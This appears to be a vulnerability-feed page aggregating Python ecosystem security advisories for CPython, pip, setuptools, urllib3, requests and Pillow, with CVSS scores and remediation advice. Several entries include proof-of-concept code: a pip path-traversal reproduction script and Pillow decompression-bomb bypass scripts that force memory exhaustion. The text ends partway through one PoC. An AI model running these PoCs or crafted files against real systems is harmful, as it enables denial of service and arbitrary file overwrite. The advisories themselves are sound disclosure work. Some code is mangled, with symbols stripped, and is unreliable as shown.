Where
-Infinity
0
Severity
6.3
EPSS
0.06%
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

xml.parsers.expat and xml.etree.ElementTree use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.

1 / 3
Source: IBM
First published (updated )
Severity
2.1
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

When decompressing crafted zip files using the bzip/LZMA/Zstandard

compressions, Python could use an attacker-controlled size to

pre-allocate memory, possibly resulting in memory exhaustion.

1 / 2
Source: MITRE
First published (updated )
Severity
8.4
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

In CPython 3.13 and earlier, the tarfile module's data and tar extraction filters are vulnerable to crafted archives containing a hard link to a symbolic link. Such archives may cause extraction to modify the permissions or modification time of a file outside the destination directory, or expose the contents of that file within the extracted tree.

1 / 2
Source: MITRE
First published (updated )
Severity
2.1
EPSS
0.06%
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

BaseCookie.jsoutput() does not neutralize embedded characters

1 / 3
Source: Microsoft
First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Last updated 31 October 2024

1 / 5
Source: Ubuntu
First published (updated )
Severity
7.7
EPSS
0.43%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1

Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents

if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download

--> filename = os.path.join(tmpdir, name)

Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88

os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.

Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.

Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.

References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946

1 / 3
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Excessive read buffering DoS in http.client

1 / 2
Source: Microsoft
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Quadratic complexity in node ID cache clearing

1 / 2
Source: Microsoft
First published (updated )
Severity
2
Input Validation, Malicious File Upload
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

tarfile: Skip DIRTYPE normalization during GNU LONGNAME/LONGLINK handling

1 / 2
Source: Microsoft
First published (updated )
Severity
5.5
AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N

Impact The requests.utils.extractzippedpaths() utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.

Affected usages Standard usage of the Requests library is not affected by this vulnerability. Only applications that call extractzippedpaths() directly are impacted.

Remediation Upgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.

If developers are unable to upgrade, they can set TMPDIR in their environment to a directory with restricted write access.

1 / 3
Source: GitHub
First published (updated )
Severity
4.1
EPSS
0.32%
Path Traversal
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

AIONLYREPORT package: python-pip-26.0.1-2.1.hum1 ------ Summary: Path Traversal via Malicious Entry Point Name in Wheel Metadata: A malicious wheel can use traversal or absolute entry-point names so pip writes generated script wrappers outside the intended scheme.scripts directory and overwrites files writable by the installing user. Requirements to exploit: An attacker must induce a victim to install a malicious wheel. The wheel must contain crafted consolescripts or guiscripts names with ../ traversal or absolute-path components in entrypoints.txt. The resulting overwrite is limited by the permissions of the installing user, but pip’s wheel-install flow reaches the vulnerable write path in normal operation and sets maker.clobber = True, so existing writable files are replaced when reachable. Component affected: github.com/pypa/pip - wheel installation flow in src/pip/internal/operations/install/wheel.py, vendored distlib script generation in src/pip/vendor/distlib/scripts.py, and entry-point parsing in src/pip/vendor/distlib/util.py Version affected: 26.0.1 (confirmed). Likely affects versions containing the same getentrypoints(...) -> getconsolescriptspecs(...) -> ScriptMaker.writescript(...) flow without target-directory enforcement. Patch available: no (a minimal proposed fix is included below; upstream release status unknown) Version fixed (if any already): unknown Upstream coordination: Not yet notified. This report is the initial triage. CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H AV:N - An attacker can distribute a malicious wheel through a package source or other network-delivered artifact. AC:L - Crafting traversal or absolute entry-point names in entrypoints.txt is straightforward. PR:N - The attacker needs no privileges on the victim system. UI:R - The victim must install the malicious wheel. S:U - Impact remains within the installing user's security scope. C:N - The primitive is attacker-controlled file overwrite, not direct data disclosure by default. I:H - Escaping scheme.scripts can overwrite writable files outside the intended install directory. A:H - Overwriting critical writable files can break applications or system behavior. Impact: Likely Important. This is a real arbitrary file overwrite/path traversal flaw in pip’s wheel installation flow. Exploitation requires a victim to install a malicious wheel, and the overwrite is limited to paths writable by the installing user. The written content is constrained to pip’s generated entry-point wrapper format rather than fully arbitrary bytes, which narrows the direct confidentiality impact, but escaping scheme.scripts can still severely affect integrity and availability and can lead to code execution when privileged or security-sensitive targets are overwritten. Embargo: yes Reason: No official fix is available, and the bug turns a malicious wheel into a write primitive outside the intended installation directory during a normal pip install flow. Public disclosure before a fix would make malicious package distribution campaigns easier, especially where wheels are installed with elevated privileges. Suggested public date: 15-Jul-2026 Acknowledgement: Aisle Research Steps to reproduce: 1. From the unpacked source tree, run: bash python - <<'PY' import os, tempfile, sys sys.path.insert(0, 'src') from pip.internal.operations.install.wheel import PipScriptMaker base = tempfile.mkdtemp(prefix='pip-script-test-') scripts = os.path.join(base, 'bin') os.makedirs(scripts, existok=True) absolutetarget = os.path.join(tempfile.gettempdir(), 'pip-owned') maker = PipScriptMaker(None, scripts) maker.clobber = True maker.variants = {''} maker.setmode = False for spec in [f'../../outside = os:path.join', f'{absolutetarget} = os:path.join']: files = maker.make(spec) print(spec, '->', files[0], '=>', os.path.abspath(files[0])) PY 2. Observe that the generated output path resolves outside scripts and that the file is written. 3. In a real installation context, a malicious wheel that places the same crafted names in entrypoints.txt reaches the same write sink during pip install and can overwrite attacker-chosen files writable by the installing user. Mitigation: Do not install untrusted wheels, especially in privileged contexts.

Avoid sudo pip install or other elevated wheel-install workflows until a fix is available.

Reject or inspect wheels whose entrypoints.txt contains path separators, .., or absolute entry-point names.

Vulnerability Details

pip already enforces path-traversal checks for wheel archive members extracted from the .whl, but generated entry-point wrappers are created later from metadata and do not go through that containment check. The vulnerable flow is: getentrypoints(distribution) reads consolescripts and guiscripts names from wheel metadata.

getconsolescriptspecs() formats those names into script specifications without sanitizing the name component.

PipScriptMaker.makemultiple() forwards the names to vendored distlib.

ScriptMaker.writescript() uses os.path.join(self.targetdir, name) and writes the generated wrapper without verifying that the resolved path stays inside targetdir.

Additional stage-5 verification confirmed that this is not limited to a direct PipScriptMaker API call: the full wheel-metadata path is reachable in both supported metadata backends, and absolute entry-point names are accepted in addition to ../ traversal. Relevant CWEs: CWE-22 (Path Traversal)

CWE-73 (External Control of File Name or Path)

Proposed Fix

A minimal defense-in-depth fix is to enforce that each generated script path remains inside targetdir before writing: diff diff --git a/src/pip/vendor/distlib/scripts.py b/src/pip/vendor/distlib/scripts.py @@ for name in names: outname = os.path.join(self.targetdir, name) + targetdir = os.path.abspath(self.targetdir) + outnameabs = os.path.abspath(outname) + if os.path.commonpath([targetdir, outnameabs]) != targetdir: + raise ValueError("Invalid script name %r: path traversal/absolute path" % name) if uselauncher: # pragma: no cover n, e = os.path.splitext(outname) Optionally, reject path separators and absolute paths earlier when parsing or validating entry-point names. ------ This report was generated using AI technology. Always review AI-generated content prior to use

1 / 3
Source: Red Hat
First published (updated )
Severity
6.1
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Summary

When building a source distribution (python -m build --sdist / setup.py sdist), setuptools' FileList applies MANIFEST.in directives (exclude, global-exclude, recursive-exclude, prune) by matching a compiled glob against on-disk file names byte-for-byte, with no Unicode normalization. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a MANIFEST.in rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the .tar.gz and, if published, uploaded to the public, immutable PyPI index.

Details

File names in FileList.files come from os.walk (setuptools/distutils/filelist.py, findallsimple), so on APFS a file written NFD is offered to the matcher in NFD, while the MANIFEST.in pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:

python setuptools/command/egginfo.py (FileList.globalexclude) def globalexclude(self, pattern): match = translatepattern(os.path.join('', pattern)) # fnmatch.translate -> regex, no NFC/NFD return self.removefiles(match.match) # byte-level regex over raw os.walk names

A rule written NFC (café = 63 61 66 c3 a9) does not match an on-disk name written NFD (café = 63 61 66 65 cc 81), even though the filesystem treats the two as one file.

A unicodedata.normalize('NFD', ...) helper exists in setuptools/unicodeutils.py (decompose()), but it is never called in the manifest matching path, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, EggInfoCommand.manifestnormalize, uses filesysdecode (bytes→str decode only, no NFC/NFD) and runs when writing SOURCES.txt, after matching has already occurred.

Impact

MANIFEST.in exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.

Proof of concept

With a project containing MANIFEST.in:

global-include .txt .json global-exclude secretcafé.txt # rule saved NFC

and an on-disk file secretcafé.txt written in NFD, python -m build --sdist packs the secret file into the resulting .tar.gz, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.

Remediation

Normalize both the walked path and each MANIFEST.in pattern to a single canonical form before matching, in both setuptools/command/egginfo.py (FileList) and the vendored setuptools/distutils/filelist.py. For an exclusion list, err toward excluding more, and document that MANIFEST.in matching is normalization-insensitive on macOS.

Credit

Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.

1 / 3
Source: GitHub
First published (updated )
Severity
8.9
EPSS
0.02%
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

Affected usages

Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preloadcontent=False when they do not disable redirects.

Remediation

Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preloadcontent=False.

If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
EPSS
0.02%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.

Patches Pillow 12.1.1 will be released shortly with a fix for this.

Workarounds Image.open() has a formats parameter that can be used to prevent PSD images from being opened.

References Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html

1 / 3
Source: GitHub
First published (updated )

-------- Forwarded Message -------- Date: Mon, 14 Sep 2026 17:59:38 +0100 From: Stan Ulbrych via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Stan Ulbrych <stanulbrych () gmail com>

There is a HIGH severity vulnerability affecting CPython. Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-82049 https://github.com/python/cpython/pull/157192

-- Stan Ulbrych  (https://stan.ulbrych.org <https://stan.ulbrych.org>) Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org

-------- Forwarded Message -------- Date: Fri, 11 Sep 2026 14:24:10 +0200 From: Petr Viktorin via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Petr Viktorin <encukou () gmail com>

There is a MEDIUM severity vulnerability affecting CPython.

When tarfile extracts a link on a system that doesn't support links, it falls back to extracting a member from the archive. In this case, the filter function is run twice: once for the extracted member, and once with name set to the location of the link. For one of the calls, the return value was ignored. Instead, the member should be skipped if either call returns None.

Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-87910 https://github.com/python/cpython/pull/157266

Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org

Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).

Patches The amount of data read is now limited to the necessary amount. Fixed in Pillow 12.2.0 (PR #9521).

Workarounds Avoid Pillow >= 10.3.0, < 12.2.0 Only open specific image formats, excluding FITS.

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

urllib3 can perform decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.

However, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases: 1. During the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library. 2. When HTTPResponse.drainconn() was called after the response had been read and decompressed partially (compression algorithm did not matter here).

These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.

Affected usages

Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:

1. A response encoded with br is read incrementally with at least two HTTPResponse.read(amt=N) or HTTPResponse.stream(amt=N) calls while using the official Brotli library. 2. HTTPResponse.drainconn() is called after response decompression has already started.

Remediation

Upgrade to at least urllib3 version 2.7.0 in which the library: 1. Is more efficient for reads with Brotli. 2. Always skips decompression for HTTPResponse.drainconn().

If upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases: 1. For the Brotli-specific issue only, switch from brotli to brotlicffi until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396. 2. If your code explicitly calls HTTPResponse.drainconn(), call HTTPResponse.close() instead when connection reuse is not important.

Credits

The Brotli-specific issue was reported by @kimkou2024. HTTPResponse.drainconn() inefficiency was reported by @Cycloctane.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Infoleak
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

When following cross-origin redirects for requests made using urllib3’s high-level APIs, such as urllib3.request(), PoolManager.request(), and ProxyManager.request(), sensitive headers — Authorization, Cookie, and Proxy-Authorization (defined in Retry.DEFAULTREMOVEHEADERSONREDIRECT) — are stripped by default, as expected.

However, cross-origin redirects followed from the low-level API via ProxyManager.connectionfromurl().urlopen(..., assertsamehost=False) still forward these sensitive headers.

Affected usage

Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through HTTPConnection.urlopen() instances created via ProxyManager.connectionfromurl().

Remediation

Upgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by HTTPConnection.

If upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to ProxyManager.request().

1 / 4
Source: GitHub
First published (updated )
Severity
8.7
3 Months
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Incremental HTMLParser feed() allows CPU-exhaustion DoS via repeated unterminated markup declarations

1 / 4
Source: Microsoft
First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

stringprep.maptableb2() deviates from RFC 3454 Table B.2

1 / 2
Source: Microsoft
First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

HTTPPasswordMgr can send saved HTTPS credentials via HTTP because of incorrect scheme matching

1 / 2
Source: Microsoft
First published (updated )
Severity
6.3
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

tarfile extraction filter bypass allows creation of directories outside the destination

1 / 2
Source: Microsoft
First published (updated )
Severity
2.1
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Out-of-memory when loading Plist

1 / 2
Source: Microsoft
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image.decompressionbombcheck(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.registeropen(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

python def compile(self) -> None: if self.bitmap: return

h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w)

xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines h # ← lines(256) × h(65535) = 16,776,960

if xsize == 0 and ysize == 0: return

self.ysize = h # NO decompressionbombcheck() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | 179,200,000 | | DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error |

With PCF-maximum glyph height (65,535):

| Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = 16,776,960 | | Total pixels | 800 × 16,776,960 = 13,421,568,000 | | Ratio vs. DecompressionBombError threshold | 75× | | Memory (mode "1", 1 bit/pixel) | ~1.6 GB |

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image

MAXGLYPHS = 256 GLYPHW = 800 GLYPHH = 875 # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile): def init(self): super().init() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPHW, GLYPHH)) for i in range(MAXGLYPHS): self.glyph[i] = ( (GLYPHW, GLYPHH), (0, -GLYPHH, GLYPHW, 0), (0, 0, GLYPHW, GLYPHH), im, )

Confirm bomb check WOULD catch the combined size combinedsize = (GLYPHW, MAXGLYPHS GLYPHH) try: Image.decompressionbombcheck(combinedsize) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combinedsize}: {e}")

Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] font.bitmap.size[1] threshold = Image.MAXIMAGEPIXELS 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.")

Expected output: [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file: python from PIL import BdfFontFile import io

Load a crafted BDF font with 256 glyphs each claiming height=65535 (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted256glyph.bdf", "rb")) font.toimagefont() # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

| Scenario | Effect | |---|---| | Web font preview (BdfFontFile(upload).toimagefont()) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → toimagefont() | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process |

Impact

- Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × maxglyphheight with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - Confidentiality: None - Integrity: None

Affected call paths: - BdfFontFile.BdfFontFile(fp).toimagefont() → FontFile.compile() - BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() - PcfFontFile.PcfFontFile(fp).toimagefont() → FontFile.compile() - PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description PIL/PcfFontFile.py loadbitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image.decompressionbombcheck(). Dimensions originate from unsigned 16-bit values:

xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227): python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO decompressionbombcheck()! )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

- Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold

Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")

